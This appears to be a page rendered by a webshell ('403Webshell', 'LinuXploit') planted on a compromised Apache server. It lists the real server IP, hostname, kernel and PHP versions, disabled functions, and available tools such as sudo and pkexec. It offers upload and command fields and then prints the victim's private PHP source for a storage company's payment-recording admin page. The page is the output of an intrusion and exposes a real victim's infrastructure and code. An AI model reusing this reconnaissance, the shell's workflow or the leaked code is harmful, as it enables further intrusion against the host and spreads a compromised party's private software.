403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/innoutstorage/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/innoutstorage/webadmin/payment_add.php
<?php
	require_once("check_login.php");

	$message = "";

	if (empty($_POST["customer_id"])) {
		$message .= "請選擇客戶。\\n\\n";
	}

	if (empty($_POST["paymethod"])) {
		$message .= "請選擇付款方式。\\n\\n";
	} else {
		if ($_POST["paymethod"] == "CHEQUE") {
			if (empty($_POST["bank_name"])) {
				$message .= "請輸入銀行名稱 。\\n\\n";
			}

			if (empty($_POST["cheque_num"])) {
				$message .= "請輸入支票號碼 。\\n\\n";
			}
		}

		if ($_POST["paymethod"] == "OTHER") {
			if (empty($_POST["paymethod_other"])) {
				$message .= "請輸入付款方式-其他 。\\n\\n";
			}
		}
	}

	if (empty($_POST["amount"])) {
		$message .= "請輸入金額。\\n\\n";
	} else {
		if (!is_numeric($_POST["amount"]) || $_POST["amount"] <= 0) {
			$message .= "金額應是正數數字。\\n\\n";
		}
	}

	if (empty($_POST["docdate"])) {
		$message .= "請選擇付款日期。\\n\\n";
	}

	$total_payment_amount = 0;
	if (empty($_POST["payable_id"])) {
		$message .= "請最少選擇一個應付款項。\\n\\n";
	} else {
		foreach ($_POST["payable_id"] as $key => $payable_id) {
			if (!is_numeric($_POST["paid_amount"][$key]) || (float)$_POST["paid_amount"][$key] < 0) {
				$message .= "未付金額應輸入大於或等於零的數字。\\n\\n";
			}

			/*var_dump($payable_id);
			var_dump( $_POST["ori_balance"][$key]);
			var_dump( $_POST["balance"][$key]);*/
			//$total_payment_amount += $_POST["ori_balance"][$key]-$_POST["balance"][$key];
			$total_payment_amount += $_POST["paid_amount"][$key];
		}
	}

	/*var_dump($_POST["amount"]);
	var_dump($total_payment_amount);*/

	/*if(!empty($_POST["amount"]) && $total_payment_amount != (float)$_POST["amount"]){
		$message .= "付款金額應與己選擇未付金額的總和應相同。\\n\\n";
	}*/

	if(!empty($_POST["amount"]) && $total_payment_amount != (float)$_POST["amount"]){
		$message .= "付款金額應與己選擇未付金額的總和應相同。\\n\\n";
	}

	if (!empty($message)) {
		echo "<script>alert('" . $message . "'); history.back();</script>";
		//echo "<script>alert('" . $message . "'); </script>";
		exit;
	}

	$bank_name       = "";
	$cheque_num      = "";
	$paymethod_other = "";

	if ($_POST["paymethod"] == "CHEQUE") {
		$bank_name  = $_POST["bank_name"];
		$cheque_num = $_POST["cheque_num"];
	}

	if ($_POST["paymethod"] == "OTHER") {
		$paymethod_other = $_POST["paymethod_other"];
	}

	if ($_POST["paymethod"] == "BANKIN") {
		$paymethod_other = $_POST["paymethod_other2"];
	}

	//insert payment
	$has_deposit = false;
	$has_invoice = false;
	foreach($_POST["payable_id"] as $key => $payable_id){
		if($_POST["payable_type"][$key] == "DEPOSIT"){
			$has_deposit = true;
		}

		if($_POST["payable_type"][$key] == "INVOICE"){
			$has_invoice = true;
		}
	}

	if($has_deposit && $has_invoice){
		$payfor = "ALL";
	}else if($has_deposit){
		$payfor = "DEPOSIT";
	}else if($has_invoice){
		$payfor = "INVOICE";
	}

	$sql                  = "select max(id) as max_id from payment";
	$new_payment_code_num = bind_pdo($sql, NULL, "selectone");

	$payment_code = "P" . date("y") . str_pad($new_payment_code_num["max_id"] + 1, 4, "0", STR_PAD_LEFT);

	$data = array(
		"customer_id"     => $_POST["customer_id"],
		"paymethod"       => $_POST["paymethod"],
		"bank_name"       => $bank_name,
		"cheque_num"      => $cheque_num,
		"paymethod_other" => $paymethod_other,
		"code"            => $payment_code,
		"amount"          => $_POST["amount"],
		"status"          => "PAID",
		"docdate"         => $_POST["docdate"],
		"remark"          => $_POST["remark"],
		"createdate"      => $nowdate,
		"createby"        => $_SESSION["cmsloginid"],
		"lastupdate"      => $nowdate,
		"lastupby"        => $_SESSION["cmsloginid"],
		"payfor"          => $payfor,
	);

	$result = insert_record("payment", $data);
	$payment_id  = $dbh->lastInsertId();

	//insert payment dtl, update invoice or deposit balance
	foreach($_POST["payable_id"] as $key => $payable_id){
		//insert payment dtl
		//$payment_amount = $_POST["ori_balance"][$key]-$_POST["balance"][$key];
		$payment_amount = $_POST["paid_amount"][$key];
		$data = array(
			"payment_id"       => $payment_id,
			"payable_type"       => $_POST["payable_type"][$key],
			"payable_id"       => $_POST["payable_id"][$key],
			"amount"          => $payment_amount,
			"status"          => "PAID",
			"docdate"         => $_POST["docdate"],
			"createdate"      => $nowdate,
			"createby"        => $_SESSION["cmsloginid"],
			"lastupdate"      => $nowdate,
			"lastupby"        => $_SESSION["cmsloginid"],
		);

		$result = insert_record("payment_dtl", $data);

		//update invoice or deposit balance
		if($_POST["payable_type"][$key] == "DEPOSIT"){
			$table_name = "deposit";
			$result2 = get_deposit($payable_id);

			$status = $result2["deposit_status"];
			if($result2["deposit_balance"] - $payment_amount == 0){
				$status = "PAID";
			}
		}

		if($_POST["payable_type"][$key] == "INVOICE"){
			$table_name = "invoice";
			$result2 = get_invoice($payable_id);

			$status = $result2["invoice_status"];
			if($result2["invoice_balance"] - $payment_amount == 0){
				$status = "SETTLED";
			}
		}

		if( ($table_name == "deposit") || ($table_name == "invoice") ){
			$sql = "update ".$table_name." set balance=balance-?, status=?, lastupby=?, lastupdate=? where id=?";
			$parameters = array($payment_amount, $status, $_SESSION["cmsloginid"], $nowdate, $payable_id);
			bind_pdo($sql, $parameters);
		}
	}

	$dbh = null;

	header("Location: payment_index.php?type=".$_POST["type"]."&msg=新增成功");

Youez - 2016 - github.com/yon3zu
LinuXploit